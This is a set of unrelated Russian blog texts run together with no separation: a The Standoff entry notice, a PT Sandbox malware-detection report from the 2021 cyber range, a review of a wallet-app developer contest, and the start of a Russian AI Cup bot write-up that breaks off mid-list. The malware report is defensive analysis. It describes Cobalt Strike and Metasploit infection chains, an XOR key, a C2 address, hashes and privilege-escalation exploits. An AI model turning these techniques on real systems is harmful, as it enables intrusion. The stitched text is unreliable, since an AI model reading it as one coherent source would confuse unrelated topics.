Для того, чтобы принять участие в The Standoff командам достаточно отправить заявки:

• команды атаки могут заполнить заявку онлайн до 30 апреля;

• команды защиты могут прислать свои заявки организаторам по e-mail (dmushakov@ptsecurity.com) до 17 апреля.

Выяснить подробности проведения The Standoff из первых рук также можно в режиме онлайн в телеграм-чате мероприятия https://t.me/TheStandoff оставайтесь с нами на связи!

До встречи на PHDays и The Standoff!..

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

• сканирование файлов статическими правилами нашего PT ESC,

• отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

• анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

• анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

• сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

• из вложений писем с почтовых серверов инфраструктуры города FF;

• из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

• через ICAP, перехваченные с помощью PT Application Firewall;

• путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

• CVE-2011-1249

• CVE-2012-0217

• CVE-2016-5195

• CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

   Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

У нас было две платформы, 1 000 000 рублей призового фонда, 6 призовых мест, 26 тысяч строк кода, которые нужно прочитать и оценить, а также 20 страниц фидбеков, несколько критериев оценки, ящик Бадвайзера, пинта чистого эфира и 12 пузырьков успокоительного. Не то, чтобы всё это было категорически необходимо для проведения конкурса разработчиков, но если уж начал оценивать решения, то к делу надо подходить серьёзно.

Подводим итоги конкурса Кошелёк Mobile Challenge и в деталях разбираем решения участников.

Задание

Попробуйте передать ощущения физического кошелька в приложении Кошелёк и переосмыслить два экрана: главный экран со списком карт и экран с деталями карты.

Предложите техническую реализацию этих экранов и перехода между ними. Логика отображения, сортировка списка карт, UI/UX, анимации и все остальные нюансы остаются на ваше усмотрение.

Конкурс в цифрах

1 задание

2 платформы (iOS и Android)

1 000 000 рублей призового фонда

100 пользователей в телеграм-канале конкурса

1 месяц на разработку решения

13 участников

11 судей

6 призовых мест

Победители

iOS

1 место (250 000 рублей) Антон Спивак

2 место (150 000 рублей) Роберт Шагинян

3 место (100 000 рублей) Павел Протасов

Android

1 место (250 000 рублей) Андрей Эрдман

2 место (150 000 рублей) Виталий Кириллов

3 место (100 000 рублей) Георгий Ипполитов

Разбор решений

Все участники уже получили отзывы на решения со стороны продуктовой и технической команды и скоро получат в подарок наш мерч, а лучшие из них денежное вознаграждение и приглашение присоединиться к команде Кошелька.

Напомним основные критерии оценки:

1. Чистота и расширяемость кода.

2. Плавность, скорость и отзывчивость интерфейса.

3. Стабильность работы.

4. Процент поддерживаемых ОС и устройств.

Технические требования:

1. Нативное iOS- или Android-приложение, без кросс-платформы.

2. Для Android: поддержка 23+ API.

3. Для iOS: поддержка iOS 11+.

Разбор iOS решений

Соответствие техническим требованиям

Все представленные решения нативные, написаны на Swift, что не может не радовать. У большей части минимальная поддерживаемая версия ОС 11, что дает дополнительные баллы при оценке. А кто-то, вероятно, просто забыл указать, так как в проектах мы не нашли использования специфичного для новых версий API. Xcode же при создании нового проекта любезно ставит минимальной ту версию, которая для текущего SDK самая свежая.

Типичные ошибки и рекомендации

Несоблюдение принципа DI (Dependency Inversion)

По коду есть неявные зависимости в лице наших любимых синглтонов, которые могут использоваться повсеместно, что часто ухудшает и возможность тестирования такого кода.

Нарушение принципа SR (Single Responsibility)

Это довольно холиварный принцип: не всегда очевидно, что считать единственной ответственностью, но встречались случаи, когда раздувание сущности дополнительной функциональностью затрудняет дальнейшее расширение. В таких случаях мы рекомендуем передекомпозировать/перепроектировать эту часть кода.

Создание лишних уровней абстракции

Каждый новый уровень увеличивает когнитивную сложность восприятия кода, поэтому выделение абстракции ради абстракции только ухудшает читабельность проекта. Самый часто встречающийся пример в iOS-приложениях использование протоколов с единственной реализацией в виде класса и структуры с именованием вида MyClassName и MyClassNameProtocol.

Рекомендуем не выделять протокол всегда, а только когда этого требует задача (задел на реализацию полиморфизма или сложность юнит-тестирования). В общем, мы за расширяемость (и уточнили это в критериях оценки), но не способом добавления протоколов к каждому классу и структуре в проекте.

Использование reference вместо value типов там, где в этом нет явной необходимости

Пример:

class RequestModel: Request {    var method: HTTPMethod = .get    var headers: [String : String]? = nil    var url: URL = URL(string: "https://textures.cardsmobile.ru")!    var parameters: [String : String]? = nil    var contentType: ContentTypeRequestEnum = .applicationURLEncoder}

Для таких сущностей скорее подойдет использование конструкций struct, нежели class, что куда безопасней и выгоднее с точки зрения управления памятью.

Использование лишних 3rd party зависимостей

Многим разработчикам кажется, что библиотека Alamofire является стандартом индустрии для организации сетевого слоя. Она очевидно имеет ряд преимуществ и позволяет не изобретать велосипед каждый раз при работе с сетью в большом приложении. И все же, использовать Alamofire только для того, чтобы быстро написать AF.request(url).response { } выглядит необоснованным решением. В чем отличие от URLSession.shared.dataTask(with: url) { }.resume()? Кажется, что разницы никакой. При этом подключая такую большую библиотеку в своей проект, мы увеличиваем размер дистрибутива и потенциально затягиваем чужие баги. Хочется пошутить, перефразировав Билла Гейтса нативного URLSession должно хватить всем. Но как мы знаем, в любой шутке есть доля правды.

Неправильное сохранение контекстов в Core Data

Во время работы с несколькими контекстами (NSManagedObjectContext) при сохранении данных встречаются случаи последовательного вызова метода save() у контекстов. Оптимальнее подписываться на нотификацию NSManagedObjectContextDidSave и мержить данные с background контекста в главный view контекст. Опыт подсказывает, что сохранение через нотификации быстрее с точки зрения перформанса.

Рекомендуем для ознакомления книгу с описанием лучших практик использования Core Data.

Чрезмерное использование глобальных очередей DispatchQueue.global

В том числе из-за того, что очереди конкурентные, при частых вызовах метода async (загрузка картинки для каждой ячейки таблицы или коллекции), в какой-то момент работы программы можно обнаружить, что количество используемых тредов перевалило за несколько десятков, что снижает общую производительность приложения.

Не стесняйтесь создавать собственные очереди (желательно последовательные), чтобы избежать этой проблемы. За деталями рекомендуем обратиться к статье бывшего инженера Apple о советах по улучшению перформанса.

Использование background Quality Of Service (QoS)

Код в очереди с приоритетом background может при некоторых системных условиях не выполниться, что может повлечь за собой трудноуловимые баги (ведь кажется, редко бывает, что нам неважно, выполнится указанный код или нет). Лучше заменять на QoS utility. Подробности в треде.

Чрезмерная нагрузка главного потока задачами

Самые яркие примеры из предложенных решений загрузка из сети и ресайзинг картинок на главном потоке.

Такие операции требовательны к ресурсам, отсутствие плохой сети на больших по размеру картинках может сыграть злую шутку и скролл будет подлагивать на списках. Рекомендуем разгружать главный поток, а вот годная статья Image Resizing Techniques с сравнением различных техник ресайзинга изображений.

Игнорирование важных событий жизненного цикла приложения и UIViewController

Конкурсанты предложили логичную фичу при открытии штрихкода увеличивать яркость экрана, чтобы он считывался легче. Для этого можно управлять яркостью в методах viewWillAppear и viewWillDisappear (для того, чтобы вернуть яркость в исходное состояние). Но, как показывает практика, обычно пользователь после предъявления карты просто сворачивает приложение. В таком случае яркость останется на максимуме, и одна звезда в App Store вам обеспечена.

Рекомендуем не забывать про нотификации UIApplicationDidEnterBackgroundNotification и UIApplicationDidBecomeActiveNotification, которые сигнализируют о том, что приложение было свернуто и развернуто соответственно.

Отсутствие адаптивности под разные размеры экранов

Почти во всех проектах не было адаптации UI под мелкие и большие скрины. Поддержка дополнительного размера экрана только увеличит лояльность пользователей, поэтому рекомендуем проверять на разных девайсах и помнить про Safe Area.

Орфографические ошибки в коде

Частые ошибки затрудняют читабельность и ревью кода, снижает поиск нужных элементов по проекту. Понятно, что такие ошибки часто возникают из-за того, что замылился глаз или в состоянии потока быстро программируешь, пока не ускользнула мысль. Но всё же мы за код без ошибок (во всех их проявлениях), и поэтому рекомендуем включить проверку орфографии в Xcode с помощью Edit > Format > Spelling and Grammar > Check Spelling While Typing.

Проблемы с лейаутом констрейнов

В ситуациях, когда констрейны расставлены неверно, система не может однозначно их интерпретировать, чтобы понять финальный лейаут UI. Xcode помогает в этом и выбрасывает в консоль сообщения вида Unable to simultaneously satisfy constraints. Probably at least one of the constraints in the following list is one you don't want.

Рекомендуем следить за этими сообщениями, а также ознакомиться со статьей Debugging Tricks and Tips.

Предупреждения (warnings) на этапе компиляции

Сюда могут относиться сообщения анализатора кода (swiftlint, если он у вас встроен в проект, встроенного анализатора об использовании deprecated методов и т.д.), обновление до рекомендуемых настроек проекта и т.д.

Правило простое: считаем каждый ворнинг техническим долгом проекта и стараемся свести их число к нулю. Стараемся не называть их наличие творческим беспорядком :)

Неиспользуемый и закомментированный код в проекте

Каждая неиспользуемая строка кода это и дополнительная работа для компилятора, и лишняя когнитивная нагрузка на разработчика, который изучает код проекта. Рекомендуем удалять такой код из проекта.

Магические константы

Как пример: выражение self.viewModel.objects().count%5 тяжело понять почему именно эти значения используются, особенно когда возвращаешься к коду через какое-то длительное время.

Как вариант, рекомендуем применить в этом месте метод рефакторинга Замена магического числа символьной константой. Развернутое описание этого и других методов можно найти в книге Рефакторинг. Улучшение существующего кода Мартина Фаулера.

Что понравилось с технической стороны

Архитектура презентационного слоя

В большей части решений логика представления отделена от бизнес-логики, навигация между экранами тоже изолирована, что позволяет легко расширять количество экранов без изменения существующих. Многие выделяют такие составляющие, как View, Interactor, Model и Builder для сборки сцены и экрана.

Наличие билдера плюс со стороны работы с DI (Dependency Injection).

В одном из решений работа с зависимостями организована с использованием Dependency Container, что позволяет упростить работу с ними.

Сокрытие использования конкретной библиотеки за оберткой

В нескольких решениях использовалась библиотека Kingfisher для подгрузки картинок, только в одном использование было спрятано за классом ImageLoader. Это позволяет не размазывать 3rd party зависимость по всему проекту.

Использование ключевого слова final в декларации класса, метода или свойства

По стандарту при его отсутствии у класса разрешается создавать класс-наследник от указанного класса или переопределять метод в дочернем классе в рамках текущего модуля. Наличие ключевого слова final поможет компилятору оптимизировать код и выжать немного перформанса за счет использования статической диспатчеризации вместо динамической. При включении Whole Module Optimization в большинстве случаев компилятор справится сам и проставит final. Но в ситуациях, когда методы или свойства наследуемого класса делаются видимыми, но необходимо запретить их переопределение, то final будет полезен. Подробности в блоге.

Что понравилось с продуктовой стороны

Идеи организации списка карточек

#1 Размер карточки увеличивается при скролле, при двойном нажатии появляется штрихкод

#2 Горизонтальный скрол, дополнительно переходить на детали не требуется, чтобы показать штрихкод

Наличие офлайн-режима и быстрый запуск при холодном старте

Правильно настроенное кэширование данных позволяет, во-первых, работать при отсутствии сети, во-вторых, при холодном запуске приложения мгновенно показывать сохраненное состояние, а при необходимости подгрузить актуальные данные и обновить UI.

Поддержка тёмной темы

Apple и бОльшая часть пользователей всесторонне поддерживают наличие Dark Mode, поэтому плюсуем тем решениям, где была сделана поддержка.

Локализация

В некоторых решениях добавлена поддержка двух языков русского и английского.

Поиск

Фильтрация

#1 Возможность показывать только просроченные или действительные элементы

#2 Фильтрация по категориям

Разбор Android-решений

Соответствие техническим требованиям

Все присланные решения нативные и написаны с использованием Kotlin, минимально поддерживаемый системный API 23+ использовали все.

Типичные ошибки и рекомендации

Почти все решения были сделаны без группировки по категориям. Данных апи было достаточно для организации удобного UI. Отсутствовала сортировка drag&drop.

Нарушение принципа DI (Dependency Inversion), повсеместное использование паттерна Singleton

В одном из проектов CardsInteractor из domain-слоя обращается напрямую в CardsRepository из data-слоя, что нарушает последний принцип SOLID. Для решения этой проблемы можно добавить Interface для CardsRepository, который будет находиться в Domain-слое.

Чрезмерное использование синглтонов ухудшает способность кода быть к тестированию. Дружеская рекомендация: прочесть книгу Роберта Мартина Чистая архитектура и изучить проект на github.

Монолитность проектов

Для текущей реализации это приемлемо, но при расширении тяжело будет поддерживать текущую архитектуру.

Отсутствует разделение кода на слои Clean Architecture: data, domain, presentation

В одном из решений CardsInteractor обращается к Storage напрямую и загружает картинки из сети. Хотелось бы видеть тут разделение ответственности. Например, часть логики из CardsInteractor вынести в Repository и DataSource. CardsViewModelImpl отвечает за сортировку списка карт, что, вероятно, не должно выполнятся в презентационном слое.

Использование глобальных функций-расширений, таких как CharSequence?.isNotNullAndEmpty, List<T>.isEmpty

На наш взгляд, использовать подобные функции избыточно. Вместо них можно использовать, к примеру, функции-расширения языка Kotlin CharSequence?.isNullOrEmpty(), isEmpty() и т.д.

Использование неочевидных названий для переменных

Как пример view с названиями info1TitleTextView, info2TitleTextView, info3TitleTextView, info4TitleTextView. На первый взгляд тяжело сказать, чем отличаются данные view. Хочется видеть более говорящие названия.

Использование deprecated методов

Для примера в одном из проектов используется window.decorView.systemUiVisibility, View.SYSTEMUIFLAGLAYOUTFULLSCREEN, SYSTEMUIFLAGLAYOUTHIDE_NAVIGATION. Использование deprecated методов можно смело относить к техническому долгу, с которым рекомендуем бороться как можно быстрее.

Что понравилось с технической стороны

Многомодульность некоторых проектов и следование принципам Clean Architecture

Некоторые из участников, кроме реализации, прислали еще и подробное описание того, что сделано и почему, включая схему модулей. Очень приятно читать такое подробное описание.

Навигация

Во многих решениях сделаны плавные переходы между экранами в виде общих элементов.

Слава богам, что мы не нашли реализаций навигации через неявные интенты :)

Что понравилось с продуктовой стороны

#1 Хороший поиск и дизайн горизонтального скролла

#2 3д карта, интересный подход с быстрым доступом к штрихкоду из списка и общий элемент в навигации

#3 Понравилась группировка карт и удобный скролл к нужной группе

Спасибо за ревью команде жюри: Филиппу Шубину, Константину Степаненко, Константину Малкову, Николаю Ашанину, Андрею Бусику, Богдану Маншилину, Александру Пряничникову, Антону Давыдову, Александру Юдину, Семёну Задорожному, Кириллу Белоглазову.

Спасибо всем участникам! Надеемся в будущем ещё порадовать сообщество разработчиков подобными активностями.

А ещё недавно мы запустили телеграм-канал Cardsmobile | Кошелёк Engineering, в котором делимся опытом разработки, интересными историями и новостями не только команд iOS и Android, но также QA и backend. Рады там всем, нам будет интересно обменяться опытом решения подобных задач и с другими компаниями.

В этом году поучаствовалв соревновании по написанию игровых ботов Russian AI Cup. И хоть не удалось взять 1е место, как в 2017, но все равно это было увлекательное и невероятно азартное приключение длинной в месяц, полное напряженного кодинга, недосыпания, творческих озарений и интриг в финале. Сразу оговорюсь, что в стратегии не использовался AI в современном понимании, с нейронными сетями и прочим - только алгоритмы и структуры данных. Мыслей накопилось много, поэтому приготовьтесь к длинному чтению..

Для тех, кто не в курсе, что это за соревнования, можно пояснить через аналогию: если олимпиады по спортивному программированию это как спринт в беге, то данныйтип соревнований это марафон. Выдается одна большая и сложная задача, связанная с управлением ботом в некой игре и нужно примерно за месяц решить её лучше других. В этом году задача была пошаговая стратегия на 2х мерном поле 80 на 80 с множеством мелких юнитов. Игра длится 1000 тиков и каждый тик боты раздают приказы своим юнитам и зданиям, после чего приказы отправляются в движок, и там просчитывается новое состояние игры. Боты общаются с движком через сокеты по специальному протоколу, так что возможна интеграция с любыми языками программирования, при наличии соответствующего клиента. Хорошо, что организаторы сделали клиенты для самых популярных языков.

Вообще изначально не планировал участвовать, но когда узнал, какая будет тема, сразу как лампочка в голове загорелась "это же как муравьи"! И в то же время понимал, насколько это будет утомительно, и что придется отложить все планы и посвятить все свободное время. Но интерес и искушение поучаствовать все же пересилило :)

Что мне нравится в подобных задачах, это то, что приходится управлять множеством юнитов и координировать их действия, и подходы, которые тут можно использовать, гораздо более разнообразны, чем когда управляешьодним персонажем. Из отличий от муравьев: тут есть элементы строительства базы, есть экономика, которую нужно развивать (вместо поиска и подбора ресурсов), и бои с другой боевой системой.

В общем я засучил рукава, взял Kotlin как язык программирования, и начал кодить.

Игровые механики

Организаторы планировали, что игра будетв космической тематике. Но так уж получилось, что оригинальный визуализатор был совершенно не пригоден для просмотра игр, т.к. не понятно, где какой юнит даже с близкого расстояния. В схематическом же виде все гораздо лучше. Серые клетки это свободные, тёмно-зелёные это ресурс, или "лес", через них пройти нельзя, но можно уничтожить. Маленькие квадратики с пиктограммой молотка это рабочие, они добывают ресурс, атакуя его. Стреляющие маленькие квадратики с изображением лука это юниты дальнего боя "лучники". Есть еще юниты ближнего боя "мечники", но так уж оказалось, что они мало пригодны для боя из-за того, что при достижении некой критической массы лучники могут их расстреливать без потерь, те даже не успевают подойти. Поэтому в боях 1 на 1 их уже не использовали. Но я забежал немного наперед. В первых 2 турах все игры были на 4 игрока - каждый сам за себя. Выглядело это примерно так:

Еще не упомянул о зданиях. Здание с молотком производит рабочих. Здание с луком лучников. Здания с домиком это дома, каждое увеличивает максимальный лимит юнитов на 5, подобно тому, как это есть в разных RTS. Еще можно заметить турели, это такие большиестационарные пушки размером 2 на 2, с большим запасом здоровья и огневой мощью как у одного лучника.

Каждый юнит может ходить в 4 направлениях: вверх, вниз, право, влево; имеет 10 жизней. Турели, лучники и мечники имеют урон 5, рабочий 1. Дальность стрельбы лучника и турели 5 клеток. Также для добычи ресурсов рабочий не должен возвращаться с добытым на базу: делает он один удар топором по дереву и на следующий же ход 1 единичка ресурса засчитывается на счет игрока.

При постройке зданий вначале оно появляется в неактивном состоянии с 10ю жизнями и рабочий, путем починки доводит его до активного и полнофункционального состояния. Также рабочий может лечить юнитов.

Что понравилось в этом году

Понравилась невероятная простота, с которой можно было написать первую работающую стратегию. В движокуже был встроен поиск пути, т.е. просто задаешь точку и юнит туда идет, обходя препятствия. А еще можно сказать ему автоматически атаковать врагов по пути (типа "отправить через атаку"). И хоть потом пришлось отказаться от встроенного поиска пути, но на начальном этапе он сильно упростил жизнь. И уже за первые 3 дня была более-менее работающая стратегия, умеющая: добывать ресурсы, строить рабочих и лучников, худо-бедно воевать, строить дома где попало. Она быстро поднялась вверх по рейтингу.

По поводу формата игр на 4 игроков

Как по мне, это было ошибкой организаторов, что первые два тура, фактически две трети соревнования, нужно было заниматься этим режимом, и только в финале формат стал 1 на 1. Дело в том, что при 4 игроках очень велик элемент случайности. Например, типичные ситуации:

• Находясь в нижнем левом углу пошел атаковать того, кто справа, а тебя пришел и вынес тот, кто сверху (моя вечная боль с aropan-ом)

• Напротив тебя в противоположном углу оказался слабый игрок, его быстро выносят соседи, и ты оказываешься фактически зажат между ними. Какой бы ни был сильный бот - отбиться будет очень сложно.

• В другой игре удается победить соседей по сторонам, но бот напротив не особо воевал и копил силы. В итоге у него гораздо лучше развитие, больше войско и он с легкостью добивает тебя.

Можно, конечно, возразить, что мол и в этом есть элемент стратегии, придумать как выживать в такой агрессивной среде. Да, но было известно, что это не основной режим игры, так что не хотелось заморачиваться. По сути бот даже не различал врагов, для него они все были равны.

Также усложнялось тестирование в первых 2 турах, т.к. приходилось каждое изменение проверять дважды: на 4 игроках (основном режиме тура), и плюс проверять не ослабился ли бот в 1 на 1.

getAction()

Сразу хочу привести последовательность действий, которые выполняет бот, если заглянуть в метод getAction, т.к. это дает хорошее первое впечатление о его работе. Все детали по каждому из пунктов будут рассмотрены далее.

Чем раньше в списке - тем больше приоритет.

• инициализация состояния

• отмена предыдущих заказов юнитов

